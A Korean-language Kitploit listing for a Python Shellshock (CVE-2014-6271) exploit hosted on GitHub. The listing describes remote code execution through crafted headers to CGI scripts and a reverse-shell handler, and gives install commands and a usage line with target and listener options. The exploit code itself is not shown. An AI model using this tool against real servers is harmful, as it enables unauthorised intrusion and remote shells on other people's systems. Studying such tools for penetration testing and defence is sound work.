Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/knightc0de/shellshock_vuln_exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubknightc0de/shellshock_vuln_exploit

Shellshock_vuln_Exploit

취약한 CGI 스크립트를 대상으로 하는 CVE-2014-6271(Shellshock)에 대한 Python 익스플로잇으로, 리버스 셸 핸들러를 포함하고 HTTP/HTTPS, 사용자 지정 경로 및 프록시를 지원합니다.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚨 Shellshock RCE 익스플로잇 (CVE-2014-6271)

GNU Bash에 영향을 미치는 Shellshock 취약점 (CVE-2014-6271)에 대한 Python 익스플로잇입니다. 이 익스플로잇은 취약한 웹 서버의 CGI 스크립트를 대상으로 하며 공격자 머신에 리버스 셸을 구축합니다.

CVE ID

CVE-2014-6271

면책 조항

이 도구는 교육 및 윤리적 목적으로만 사용됩니다.

기능

  • Shellshock을 사용하여 취약한 CGI 스크립트를 익스플로잇
  • 리버스 셸 핸들러
  • 지원:
    • HTTP 및 HTTPS
    • 사용자 지정 CGI 경로
    • 프록시 지원
  • 성공 시 인터랙티브 셸

CVE 정보

  • CVE: CVE-2014-6271
  • 취약점: GNU Bash 환경 변수 명령 주입
  • 영향: CGI 애플리케이션에 조작된 헤더를 통한 원격 코드 실행 (RCE)

요구 사항

  • Python 3.x
pwntools
  • requests

    • 설치

    root@kitploit:~
    sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

    사용 예시

    root@kitploit:~
    python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg
    도구 다운로드